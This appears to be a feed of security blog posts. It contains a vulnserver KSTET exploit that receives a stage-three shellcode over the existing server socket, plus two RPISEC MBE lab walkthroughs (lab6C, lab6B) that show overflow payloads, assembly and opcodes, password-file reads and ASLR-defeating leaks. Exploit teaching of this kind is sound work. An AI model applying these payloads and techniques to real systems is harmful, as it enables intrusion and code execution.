🔒
There are new articles available, click to refresh the page.
Before yesterdayBinary Exploitation

Vulnserver - my KSTET exploit (delivering the final stage shellcode through an active server socket)

13 March 2019 at 08:00

The purpose of writing this up was only to present a little trick I came up with while playing with vulnserver's (http://www.thegreycorner.com/2010/12/introducing-vulnserver.html) KSTET command (one of many protocol commands vulnerable to some sort of memory corruption bug). In spite of the hardcoded addresses, 32-bitness and general lazyness, this technique should as well work in more modern conditions.

After hijacking EIP it turned out there was too little space, both above and below the overwritten saved RET, to store an actual windows shellcode (at least 250 bytes or more) that could run a reverse shell, create a user or run an executable from a publicly accessible SMB share.

Also, it did not seem to be possible to split the exploitation into two phases and first deliver the shellcode somewhere else into memory and then only use an egghunter (70 bytes to store the payload, enough for a 31-byte egghunter, not enough for the second-stage shellcode)... so I got inspired by a xpn's solution to the ROP primer level 0 (https://blog.xpnsec.com/rop-primer-level-0/) where the final shellcode was read onto the stack from stdin by calling read().

Having only about 70 bytes of space, I decided to locate the current server socket descriptor and call recv on it, reading the final stage shellcode onto the stack and then execute it. This write up describes this process in detail.

Controlling the execution

Below is the initial skeleton of a typical exploit for such an overflow. We control 70 bytes above the saved RET, then the saved RET itself ("AAAA"). Then we stuff 500 bytes of trash, where in the final version we'd like to put our shellcode, so we could easily jump to it by overwriting the saved RET with an address of a "JMP ESP" instruction (or something along these lines):

Once the crash occurs, we can see that we only control first 20 bytes after the saved RET, the rest of the payload is ignored:

So, we're going to use the first 20 bytes below the saved RET as our first stage shellcode, only to jump to the 70 bytes above the saved RET, which will be our second stage. The second stage, in turn, will download the final (third) stage shellcode and execute it.

First, we search for a "JMP ESP" instruction so we can jump to the first stage.

A convenient way to do so is to use mona, searching for the JMP ESP opcode:

!mona find -s "\xff\xe4"

We pick an address that does not contain NULL characters, preferably from a module that is using the least number of safety features as possible (essfunc.dll is a perfect candidate):

The addresses will most likely differ on your system.

0x625011af will be used for the rest of this proof of concept.

We toggle a breakpoint at it, so we can easily proceed from here in developing the further stages of the shellcode:

Now our PoC looks as follows (we used 20 NOPs as a holder for the first stage):

We run the PoC and hit the breakpoint:

Once we do a step (F7), we can see the execution flow is redirected to the 20-byte NOP space, where our first stage will be located (so far, so good).

At the top we can see the second stage buffer, at bottom we can see the first stage buffer. In between there is the overwritten RET pointer, currently pointing to the JMP ESP instruction that lead us here:

First stage shellcode

We want our first stage shellcode to jump to the start of the second stage shellcode (there is not much more we can do at this point on the only 20 bytes we control).

As we know EIP is equal to our ESP, as we just did a JMP ESP, we don't need to retrieve the current EIP in order to change it. Instead, we simply copy our current ESP to a register of choice, subtract 70 bytes from it and perform a JMP to it:

PUSH ESP ; we PUSH the stack pointer to the stack
POP EDX ; we pop it back from the stack to EDX
SUB EDX,46 ; we subtract 70 from it, pointing at the beginning of the buffer for the second stage shellcode
JMP EDX ; we JMP to it

OllyDbg/Immunity Debugger allow assembling instructions inline while debugging (just hit space to edit), which is very handy in converting our assembly to opcode without the need of using additional tools like nasmshell or nasm itself:

So, our second stage is simply

\x54\x5A\x83\xEA\x46\xFF\xE2

Also, for the time of development, for our convenience, we can prepend it with an inline breakpoint \xCC instruction, as Immunity loses the breakpoint set on the initial JMP ESP with every restart. Just remember to remove the \xCC/replace it with a NOP in the final exploit, otherwise it will cause an unhandled exception leading to a crash!

At this stage, our POC looks as follows (NOPs in the first stage were only added for visibility, they won't ever get executed). Also, the holder for the second stage was filled with NOPs as well:

As we can see, the first stage does its job, moving the execution flow to the second stage:

Second stage shellcode

Now, this is where the fun begins. As mentioned before, we want to use the existing server application's socket descriptor and call WS2_32.recv on it, so we can read as much data from it as we want, writing it to a location we want and then jump to it - or even better, write it to a suitable location so the execution flow slides to it naturally.

First, we find the place in code where the original WS2_32.recv is issued, so we can see how that takes place (e.g. what is its address and how arguments are passed, where to find them and so on).

Luckily, the section is not far away from the executable's entry point (the first instruction program executes, also the first instruction we are at once we start it in the debugger):

As we scroll down we can see we are getting somewhere:

And here we go:

We toggle a breakpoint, restart the application, make a new client connection and send something to the server. The breakpoint is hit and we can see the stack:

The part that got our interest:

00FAF9E0 00000058 |Socket = 58
00FAF9E4 003A3CA0 |Buffer = 003A3CA0
00FAF9E8 00001000 |BufSize = 1000 (4096.)
00FAF9EC 00000000 |Flags =

Also (an Immunity/OllyDbg tip); if we hit space on the actual CALL instruction where our current breakpoint is, we can see the actual address of the instruction called (we will need this later):

Now we can compare the current stack pointer at the time of our execution hijack with the one recorded while the orignal WS2_32.recv was done. We are hoping to estimate the offset between the current stack pointer and the location of the socket descriptor, so we culd use it again in our third stage.

As it turns out, the stack we are currently using points to the same location, which means the copy of the socket descriptor identifier used by the original recv() has been overwritten with further stack operations and the overflow itself:

Hoping to find a copy of it, we search the stack for its current value.

Right click on the CPU window - which represents the stack at the moment -> search for -> binary string -> 00 00 00 58 (the identifier of the socket at the time of developing, but we don't want to hardcode it as it would normally differ between systems and instances, hence the hassle to retrieve it dynamically).

We find another copy on the stack (00F2F969):

We calculate the offset between the location of the socket descriptor id copy and the current stack pointer at the time our second stage shellcode starts (119 DEC). This way we'll be able to dynamically retrieve the ID in our second stage shellcode.

Also, there is one more problem we need to solve. Once we start executing our second stage, our EIP is slightly lower than the current ESP.

As the execution proceeds, the EIP will keep going towards upper values, while the ESP is expected to keep going towards lower values (here comes the Paint):

Also, we want to write the final stage shellcode on the stack, right below the second stage, so the execution goes directly to it, without the need to jump, as illustrated below:

Hence, once we have all the info needed to call WS2_32.recv(), we'll need to move the stack pointer above the current area of operation (by subtracting from it) to avoid any interference with the shellcode stage instructions:

So, the shellcode goes like this:

PUSH ESP
POP ECX ; we simply copy ESP to ECX, so we can make the calculation needed to fetch the socket descriptor id
SUB CL,74 ; SUB 119 (DEC) from CL - now ECX points at the socket descriptor ID, which is what we need to pass to WS2_32.recv
SUB ESP,50 ; We have to move the current stack pointer above the second stage shellcode (above the current EIP), otherwise we would make it cripple itself with any stack operations performed by WS2_32.recv we are going to call, also this way we will avoid any collision with the buffer we are going to use for our final stage shellcode. From this point we don't have to worry about it anymore.
XOR EDX,EDX ; zero EDX (the flags argument for recv),
PUSH EDX ; we push our first argument to the stack, as arguments are passed via stack here
ADD DH,2 ; now we we turn EDX into 512 by adding 2 to DH
PUSH EDX ; we push it to the stack (BufSize, the second argument)
; retrieve the current value of ESP to EBX
PUSH ESP
POP EBX
; increment it by 0x50 (this value was adjusted manually after experimentig a bit), so it points slightly below our current EIP
ADD EBX,50 ; this is the beginning of the buffer where the third stage will be written
PUSH EBX ; push the pointer to the buffer on the stack (third argument)
; now, the last argument - the socket descriptor - we push the value pointed by ECX to the stack:
PUSH DWORD PTR DS:[ECX]

So, we are almost done.

Now we have to call the WS2_32.recv() function the same way the original server logic does. We take the address used by the original CALL instruction (0040252C - as it was emphasized we would need it later).

The problem we need to deal with is the fact the address starts with a NULL byte - which we cannot use in our shellcode.

So, to get round this, we are going to use a slightly modified version of it, e.g. 40252C11, and then perform a shift 8 bits to the right. This way the least significant byte will vanish, while a null byte becomes the new most significant byte (SHR(40252C11) => 0040252C):

MOV EAX,40252C11
SHR EAX,8
CALL EAX

Our full PoC looks as follows:

The stack during the execution of the second stage right before the third stage is delivered:

The stack right after the return from WS2_32.recv():

Yup, full of garbage we control:

Now we can replace the 500 "\xCC" with our favorite shellcode.

MBE lab6C walkthrough

16 March 2019 at 22:36

About MBE

Some time ago I came across RPISEC's free Modern Binary Exploitation course (https://github.com/RPISEC/MBE) which I can't recommend enough. You get lectures, challenges and a ready out-of-the-box operational Ubuntu VM to play with. Yup, this course is Linux-focused, which made it a great extension to my recently passed OSCE (which is, or at least was at the time, Windows-only). After completing only about 16, maybe 17 challenges (there are ten chapters, 3 challenges each => 30 + 2 additional challenges with no source code provided) I can conclude I learned comparably as much as doing my OSCE, but quite different knowledge (again, different OS and also different techniques), which again is great. And finally got myself together to put some of my notes out here. If you don't feel like doing but would like to get the feel, this is a read for you.

How it works

Our environment is the VM provided RPISEC (can be found here https://github.com/RPISEC/MBE/releases/download/v1.1_release/MBE_VM.vmdk.gz).

The target program is usually a setuid binary, running with its owner's effective uid. If we can execute arbitrary code, we steal the flag which is always located in /home/<USER>/.pass (which is a clear text unix password for that user account), whereas <USER> corresponds to the current target level. E.g. lab6C is the start user for the level 6, lab6B is the target user, hence /levels/lab06/lab6C is a setuid binary owned by lab6B so we obtain the pass and therefore can advance to the next level. Please refer to RPISEC's github page to find all info, including credentials, slides, resources and so on.

lab6C

This challenge (https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6C.c) is the first one from level 6, which should be done with ASLR turned on for all the time.

This is how the program behaves when we're not trying to abuse it (it does not really send our 'tweet' anywhere, just internal buffer operations):

Now, spoiler alert, first a quick glance at the source code to see where the vulnerability is.

First, there are some self-explanatory definitions:

Then it gets more interesting:

We have a secret_backdoor() function which simply reads up to 128-byte string from the standard input and then performs the libc system() wrapper on the exec() syscall (with a fork() and sh). The function is not explicitly called anywhere from the code, so it's clear we are not going to need a shellcode here; it's all about redirecting the execution to this function.

Now, to the vulnerability. We have several functions calling each other, so let's go through them in the order of the call sequence.

First, we have a standard main() function:

And here is the handle_tweet() function:

So, a local instance of the savestate structure (which was declared in the beginning of the file) is defined here, locally, on the stack.

username and msglen fields are initialized, then there are two two calls; set_username() and set_tweet(), respectively. Both calls take a pointer to the save instance of the savestate structure (so the pointer will point at the handle_tweet() function's stack). And this is the stack we are about to overflow (we'll get to how in a minute) to redirect the execution flow, overwriting handle_tweet's saved RET pointing back to main (the next instruction after the handle_tweet() call, which is just a return EXIT_SUCCESS;.

To illustrate, this is a simplified stack layout while inside of the handle_tweet() function, after the local struct was defined, but before the two set_username() and set_tweet() calls:

We will overwrite the save.tweet buffer outside its 140 bytes and write down over the username, msglen and then the saved RET.

Once the handle_tweet() function call returns, instead of going back to the last instruction of main(), the execution flow will go to our secret_backdoor() function.

So, the overflow must be possible in one of the two set_username(), set_tweet() functions. They both take a pointer to that buffer, so they can operate on it.

Let's see the set_username() function then:

Looks OK at the first glance. The devil's in the details (line 75):

for(i = 0; i <= 40 && readbuf[i]; i++) // this is where the problem starts
    save->username[i] = readbuf[i]; //write

The <= conditional operator (instead of just <) is the culprit here. Instead of being able to write up to 40 bytes of the username, we can write 41. One byte more - which is enough to overwrite the previously initialized value of 140.

So once the set_username() call returns, the username is set, while the msglen is set to an arbitrary value that we will smuggle in the additional 41-th byte provided as the username.

This is how the second function, set_tweet(), looks like:

So the function has a quite big (1024 bytes, even too big for our needs) local buffer. To keep the big picture clear, this is how the stack will look like inside the set_tweet() function call, after calling fgets(), but before calling strncpy():

And this is where the buffer overflow that will allow us to overwrite the bottom saved RET occurs (lab6C.c:59):

strncpy(save->tweet, readbuf, save->msglen);

If we provide an arbitrary one-byte integer value higher than 140 in the 41-st byte of the username, we'll then be able to write more than 140 bytes from the 1024-byte local buffer, starting at the savestate.tweet address, up until the saved RET to overwrite with the address of the secret_backdoor() function.

Controlling the message length

Let's start simple and crash the program.

As at the time I started this I did not know a better way to provide arbitrary (non-printable) input using standard input/output without actual coding, here is how I was doing it (using two console windows simultaneously):

1) in one console window, I touched a file to use as an input buffer: /tmp/input6C

2) in the second window, I ran the following to have the program read all the input from that file as it appears:

gdb /levels/lab06/lab6C
[... once gdb loaded ....]
run < `tail -f /tmp/input6C`

In the first window I could then play with the printf command, putting arbitrary bytes into the /tmp/input6C, so they would go to the standard input of the target process.

We know we would need at least 140 + 40 + 8 bytes to overwrite the saved RET. Should actually be more, considering saved EBPs (stack frames) and function arguments. Something around 200. To find out how many bytes exactly do I need to overwrite to control the EIP, I used pattern_create output (some folks prefer to use the one provided with metasploit, I use one of the python implementations that can be found on github).

Already knowing that the 41-st byte of the first input line is the integer controlling the message length, I knew the username should look like this:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0xff

We set the new message length to maximum value possible 0xff (255), to make sure we overwrite the saved RET without caring what else do we overwrite.

The next line should be the pattern_create output, so here goes (this is actually pattern_create 400 output):

[email protected]:/tmp$ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff" >> input6C

[email protected]:/tmp$ echo "" >> input6C

[email protected]:/tmp$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A" >> input6C

Sending that input to the target process attached to gdb, reading from tail -f /tmp/input6C, resulted in this:

Guessed arguments:
arg[0]: 0xbffff518 --> 0xb7fd8000 (">>: >: Welcome, ", 'A' <repeats 40 times>, "\377>: Tweet @Unix-Dude\n")
arg[1]: 0xbffff0f0 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7[...]Ag2Ag3Ag4Ag5Ag"...)
arg[2]: 0xff

Invalid $PC address: 0x67413567
[------------------------------------stack-------------------------------------]
0000| 0xbffff5e0 ("6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0004| 0xbffff5e4 ("Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0008| 0xbffff5e8 ("g9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0012| 0xbffff5ec ("0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0016| 0xbffff5f0 ("Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0020| 0xbffff5f4 ("h3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0024| 0xbffff5f8 ("4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
0028| 0xbffff5fc ("Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4\277\064\366\377\277$ ")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x67413567 in ?? ()

So yeah, the saved RET was overwritten, as set_tweet() read whole 400 bytes of the pattern written to the readbuf, while msglen set to 255 made strncpy() copy 255 bytes from it to the save.tweet buffer, overwriting everything the entire save structure and the saved RET below it as illustrated on the diagram above.

0x67413567 in ?? () means this is what we wrote to the saved RET, and, in consequence, what went to the EIP register. The program crashed (segmentation fault), as this is not a valid address in its virtual address space). It's a unique 4-character sequence from the 400-byte pattern string we used.

To see what is the exact number of bytes between the beginning of our controlled buffer and the saved RET we run the pattern_offset tool (comes along with pattern_create) with it as argument, so it calculates this for us:

[email protected]:~$ pattern_offset 67413567
hex pattern decoded as: g5Ag
196

So far so good.

For starters, to make this process simpler, we are going to develop this exploit with ASLR disabled. Once we think the exploit's ready, we turn ASLR back on (use the gameadmin:gameadmin credentials to get sudo su on the VM):

[email protected]:/home/gameadmin# echo 0 > /proc/sys/kernel/randomize_va_space
[email protected]:/home/gameadmin# cat /proc/sys/kernel/randomize_va_space
0

OK, let's peek where the secret_backdoor() function is (from attached gdb):

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0x8000072b <secret_backdoor>

So, after our 196 bytes of garbage, we should put 0x8000072b into our buffer to move the execution to the secret_backdoor() function (and then the last thing would be to provide a command to execute).

We can already say using this address won't work because it contains a nullbyte (doesn't go well with string-operating functions like fgets()).

Also, we know this address will be randomized with ASLR on, so using a fixed address won't do. Without leaking the memory layout somehow and calculating the address based on known offsets, we could either bruteforce (just keep running the exploit until our hardcoded address happens to be the correct one... this is just a 4-byte address as we're dealing with 32-bits, which is bad enough, while with x64 the likelihood is practically never)... Or perhaps perform so called partial overwrite instead.

Partial overwrites

ASLR only partially randomizes virtual addresses - which means only some of the bytes (the more significant ones, 'on the left') are hard to predict, while the least significant bytes (the ones 'on the right') - which are just the offsets within the code segment and are known to us as long as we can read the binary - stay untouched.

For example, 0x8000072b under ASLR becomes 0xbf76072b.  

So, the OS does partial ASLR on the more significant bytes, leaving the least significant bytes alone. Thus, to keep things fair, we do a partial overwrite too, but on the least significant bytes (so we only overwrite one or two bytes instead of all 4), while leaving the two more significant bytes alone, because they already have the proper valid values set by the OS and we don't need to know them at all to attain a valid ASLR-ed address (as long as we're redirecting the execution to an instruction in the same text segment).

Of course partial overwrites are not always possible. In this case, we can use 196 bytes of garbage + 2 bytes of arbitrary offset within the code segment to change the saved RET to the address of secret_backdoor().

Moving on with the exploit

So, our exploit is (we're still playing without ASLR yet):

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xff" >> input6C
echo -e "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2b\x07" >> input6C
echo "cat /home/lab3C/.pass" >> input6C

And it fails like this:

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000a072b in ?? ()

Interestingly, the newline character got copied in. Also, for some reason, the next character was nullified, just like the entire string was copied instead of just 198 bytes we wanted.

Oh right. This is because we're still overwriting the msglen with the maximum possible value of 255 (0xff). Instead, we should use 0xc6 (198).

Ironically, before I realized this little mistake, a managed to search for existing solutions to peek from in case I got stuck and found this amazing repository:

https://github.com/Corb3nik/MBE-Solutions

So I looked at the lab6C solution only to discover that it is using pwnlib (true awesomeness, making exploit dev much easier and allowing me to ditch the retarded tail -f thing :D).

After carefully analysing the code I decided to just give it a go, but from the very beginning I knew something wasn't right (line 12):

payload = p8(0xff) * 196
payload += p32(0xb775d72b)

The payload sent to the program as the 'tweet' content consists of 196 bytes (49 dwords) + a dword -> 200 dwords. So, the last dword 0xb775d72b does not seem to be a partial overwrite, but a full overwrite with a fixed address instead.

The only explanation I thought of was that the author left the PoC with a fixed value of secret_backdoor() function from the non-ASLR version of the exploit - or extracted the information about the memory layout from somewhere else and calculated the address with ASLR on. Anyway, I knew it would not work on my VM and guess what - it in fact didn't :D

So I decided to take corb3nik's solution code as a template and modify it so I could attach to the running process with gdb once its PID is known and then see exactly what's going on:

https://github.com/ewilded/MBE-snippets/blob/master/lab6C/ex_attempt.py

Setting the context.log_level variable to = 'debug' showed the real awesomeness of pwnlib, displaying all the input/output exchanged with the app in hex, revealing all the non-printable characters along with how many bytes were received/sent.
Very, very helpful.

So, I made this version that worked on non-ASLR:

https://github.com/ewilded/MBE-snippets/blob/master/lab6C/ex_attempt2.py

And did not want to work once I switched ASLR back on.

So I ran the debugger again, only to see that the text segment addresses changed from non-ASLR 0x80000XXX to ASLR-ed 0xb77YYXXX (whereas XXX is the Relative Virtual Address - the fixed offset within the segment, while YY is the only really randomized part).

For example, secret_backdoor() had, depending on the instance, values like:

`0xb775e72b`
`0xb773a72b`
`0xb77dd72b`

So e != a (the '7' halfbyte remains unaffected) and we can't do partial half-byte writes... Which in this case can be simply and non-elegantly solved with a small bruteforce. Just stick to any fixed second least-significant byte value you see in gdb, in my case such as 'a7', 'e7', '17' and so on. Statistically one in 16 attempts should work, in my case the result was more like one in 8), which in this case (a local console app) is acceptable - it just has to be kept in mind this exploit is not 100% reliable (https://github.com/ewilded/MBE-snippets/blob/master/lab6C/ex_attempt2_aslr.py).

The XOR madness of MBE's tricky lab6B - a walkthrough

21 March 2019 at 08:45

This post is a continuation of my MBE (Modern Binary Exploitation) walkthrough series. In order to get some introduction, please see the previous post: https://hackingiscool.pl/mbe-lab6c-walkthrough/.

A look at the target app

So let's get right to it. The source code of the target application can be found here: https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6B.c. The lab6B.readme reveales that this time we are not dealing with a suid binary. Instead, we are supposed to compromise a service running on port 6642.

Let's see if we can interact with it from our MBE VM command line:

Nice, it's working.

Running locally

Our target application is not actually capable of networking. This is covered by socat:

socat TCP-LISTEN:6642,reuseaddr,fork,su=lab6A EXEC:timeout 300 /levels/lab06/lab6B

For the purpose of better understanding of how the target program behaves and making its exploit development easier, let's compile our own version in /tmp.


The only change required is the hardcoded /home/lab6A/.pass path - with the assumption that we are doing our development from the MBE VM, using lab6B account (as we won't have the privileges to read it):

I just replaced it with pass.txt (the file needs to exist, be nonempty and readable for the program to work properly):

The source code overview

Now, the source code. Just like in lab6C.c, we have a 'secret_backdoor()' function here as well, so all we are gonna need is execution control:

Then we have the hash_pass() function. Takes two pointers to buffers (password and username) and XORs each byte of the password buffer the corresponding byte from the username buffer. The crucial property here is that the XOR operation will keep going until a nullbyte is encountered under password[i] index:

If a nullbyte is encountered under username[i] first, the rest of the password is XOR-ed with a hardcoded value of 0x44.

Then there's the lengthy load_pass() function, which simply reads the contents of the /home/lab6A/.pass file into the buffer pointed by the pointer passed as the only argument this function takes:

Now, this is how the main() function looks like:

It loads the local user password into the sercretpw buffer and hashes it with the hardcoded "lab6A" string (the target username). Then it calls the login_prompt() function, passing the original password size and the hash to it.

Then finally we have the login_prompt() function. It reads username and password to local buffers using strncpy() to only read maximum number of bytes up to the size of the current buffer to avoid overflow. Then it calls the hash_pass() function on the buffers. Then compares (memcmp()) the result with the password hash pointed by the pointer passed in the second login_prompt() argument, also making sure that it compares the exact number of bytes as it should (pwsize):

The first vuln

And honestly, I could not figure out where the vulnerability was. So I peeked into Corb3nik's solution https://github.com/Corb3nik/MBE-Solutions/blob/master/lab6b/solution.py only to notice the following part:

By the way, as the original version kept complaining about input arguments, before I read the usage comment, I simply modified it to make the 'remote' variant (hardcoded remote() method of interaction with hardcoded 127.0.0.1:6642): https://github.com/ewilded/MBE-snippets/blob/master/lab6B/solution.py. Either way, it works like a charm. Now let's find out how and why.

So, after sending the first set of credentials, the exploit is parsing the output from the application (p.recvline()) as a memory leak (individual byte ranges are saved in values with names corresponding to the names of local values stored on login_prompt()'s stack), right after encountering the "Authentication failed for user" string. This made me see the light and instantly revealed the first vulnerability - which by the way also makes the second vulnerability possible to exploit, but we'll get to that in due course.

The local readbuff buffer is 128 bytes-long. Both username and password are 32 bytes-long:

Now, what happens next is that fgets() reads a string from user input, saving it in the readbuff buffer. To make the user input saved in readbuff an actual string, fgets() will terminate it with a nullbyte. This means that if we provide, let's say, 60 characters of username, fgets() will make sure byte 61 is 0, so the string is terminated:

This itself is not an issue. However, what happens next is strncpy() blindly rewriting up to 32 bytes from readbuff to username.

The same goes for password.

This means that if we provide at least 32 bytes both as username and password, both 32-byte buffers, username + password,  create a continuous 64-byte block of memory without a single nullbyte. Depending on the values stored next to it (in this case attempts and result, and anything that follows, the continuous non-null memory block can be longer - and printable.

Every time after hash comparison fails, the address of the username buffer is passed to a printf() call:

Provided with a pointer to the username buffer and the %s formatting modifier, printf() will keep printing memory starting at username and will only stop once it encounters a nullbyte on its way. Hence the memory leak necessary for us to obtain the information required to defeat ASLR (as we must provide the current, valid address of the login() function to EIP).

Running the app

Before we proceed any further, let's get the feel how all this data is aligned on the stack.

Let's put our first breakpoint here (betweeen strncpy() and hash_pass() calls):

Which would be this place in login_prompt() (at offset 278, right after the second strncpy() call is complete):

We can set a breakpoint on an offset, without first loading the program and using a full address, like below:

OK, run:

The breakpoint is hit let's have a look at the stack and identify what's what:

To confirm whether the value we think is the saved RET is in fact the saved RET, let's simply check the address of the next instruction after the login_prompt() call:

Yup. So we know how data is aligned on the stack when hash_pass() is about to be called.

Fair enough, let's create a second breakpoint - right after the hash_pass() call - to see how  affects the  values on the stack : break *(login_prompt+296)):

And once it's hit, we can see that the password (originally consisting of capital 'C's) was hashed with the username (capital 'B's), as well as were the two integer values (attempts and result) and stuff that follows them:

Even the trailing 0x80002f78 was changed to 0x80002e79 in result of the XOR operation. The XOR stopped on the nullbyte in 0x80002e79, leaving the 0x80 part intact.

At this point I got really worried about my understanding of the issue. How are we supposed to leak any memory layout information like the saved RET, saved EBP or anything revealing the current address base, if we encounter a nullbyte on our way earlier? We are always going to have nullbytes on our way with saved RET containing it due to the code segment base address containing such:

Then I noticed that the code segment has in fact a non-null base  (just like the other maps)  when we attach to an already running process instead of starting it from gdb (if you know the reason of this behavior please let me know).

As my goal was to figure out the exploitation myself and using Corb3nik's exploit for clues as last resort, I tried to develop the rest of the code myself, starting with this skeleton taken from his code:

https://github.com/ewilded/MBE-snippets/blob/master/lab6B/leaktest.py.

Setting the pwlib's context.log_level variable to debug makes gives a great additional feedback channel during exploit troubleshooting and development.

Here's a sample run of this exploit skeleton (note the entire [DEBUG] output, the script itself does not print anything explicitly except for "The pid is: ..."):

By the way, because I wanted to attach gdb to the target process before inducing the out-of-bonds read (so I proceed from this point developing the exploit), I made it   print out the PID and pause, waiting for a key to be pressed:

Console 1

This way we can conveniently attach to the process from a second console:  

Console 2

Again, breakpoints:

And the stack (marked red saved RET, the address of the next instruction after login_prompt() call):

The second vuln

Now let's see how the stack changed after the first hash_password() call (breakpoint 2):

First, we have our username buffer (32 bytes of 0x42 value) intact. Then we have the password buffer. It's also 32 bytes, originally of 0xff value we sent in our payload... now turned into 0xbd.

The 32 bytes of password got XOR-ed with their corresponding username bytes.  0x42 XOR 0xff = 0xbd. So far so good.

But what happens next, when i becomes 32 and keeps incrementing, because no nullbyte was encountered under neither password[i] or username[i]?:

username[32] points at password[0], username[33] points at password[1] and so on. And password[32] points at result, password[33] points at attempts and so on. XOR keeps XOR-ing.

Let's have a look at the two signed integer values (result and attempts), previously 0xffffffff and 0xfffffffe. Now they're 0x42424242 and 0x42424243, respectively:

So, how did their bytes turn from 0xff to 0x42? Had they been XOR-ed with 0x42 (username), they would now be nullbytes (which we don't want, by the way), because any value XOR-ed with itself becomes 0.

They were originally 0xff and became ox42 because they were XOR-ed with 0xbd (to check what was the value they were XOR-ed with, we can simply XOR the current value with the old value, 0x42 XOR 0xff = 0xbd):

So, the bytes that follow the password buffer (including the two integers, saved EBP and the saved RET) got XOR-ed with the contents of the password buffer... after the password buffer was XOR-ed with the username buffer.

And this is how we attained the second vulnerability - which, as we can see, allows us to change the saved RET!

Look again, the saved RET got changed as well (marked blue):

It's original value was 0xb77cdf7e, now it's 0x0ac162c3. Again, we can run simple test to see what was the value it got XOR-ed with:

Yup, it was 0xbd (username XOR password).

So, the second vulnerability is an out-of-bond XOR in the hash_function().

A XOR with a buffer that we control. So it is effectively an out-of-bond write (a XOR-chained stack-based buffer overflow).

And funnily, it has the same root cause, which is relying on whether or not a particular consecutive byte is null instead of using a maximum size boundary for write.

Understanding the exploitation process and implementing it

In order to trigger both the out-of-bonds read and out-of-bonds XOR, we must provide 32 non-null bytes of username and then 32 non-null bytes of password.

Also, no byte at username[i] can have its corresponding byte in password[i] equal to it (that would lead to the relevant password[i] becoming a nullbyte in result of the XOR operation, cutting us out from the further bytes on the stack).

This way the following things will happen:

1) password will get XOR-ed with username

2) the bytes on the stack following the just XOR-ed password buffer ( attempts, result, login_prompt() parameters, saved EBP and saved RET) will get XOR-ed with the new contents of the password buffer - which is, again, what we provide as password then XOR-ed with what we provide as username.

3) Since this authentication attempt will fail, the printf() call  will print out everything starting from the username buffer through the XOR-ed password to the rest of the values on the stack XOR-ed with the XOR-ed password up until a nullbyte is encountered.

So we use the out-of-bound printf() to actually obtain, among others, the saved RET.  All these values are XOR-ed with the result of the username XOR password operation.

At this point the program is in an incorrect state. The saved RET and saved EBP do not make sense. We will now how to trigger both vulnerabilities again with another authentication attempt, crafting the username and the password payloads in such a way that when the values on the stack (attempts and saved RET) are XOR -ed with the password buffer (which at that point will be the result of XOR between the username and the password we provide), they become the arbitrary values we WANT them to be.

Yes, in addition to the saved RET becoming the current address of the login() function,  we also want to control the  attempts value, so the while loop can end:

The login_prompt() function will not attempt to return until the loop ends. And the return call is how we gain execution control via saved RET overwrite.

What we need to do now is:

1) use the leaked values to calculate the login() address

2) craft the second username and password 32-byte payloads in such a way, that the current values on the stack (a copy of which we already got via the leak) - especially saved RET and attempts - once XOR-ed with the password buffer, become what we want them to be. Keeping in mind that the password buffer will first get XOR-ed with the username buffer, so we'll need to consider this order while preparing the payload.

All boils down to applying correct values and correct order of XOR-ing.

Let's start from the first payload again.

This time we'll use 'C' (0x43) as username and 0x11 as password:

Now, reading the values from the leak:

We know they are XOR-ed with 0x52, because 0x43 ('C', the username) XOR-ed with 0x11 produces 0x52. Again, these values can be arbitrary as long as they meet the conditions mentions above. And once they are picked, the following decoding and encoding will depend on these values.

We know that XOR-ing anything with the same value twice produces the same value back again. So:

0x43 XOR 0x11 = 0x52

0x52 XOR 0x11 = 0x43

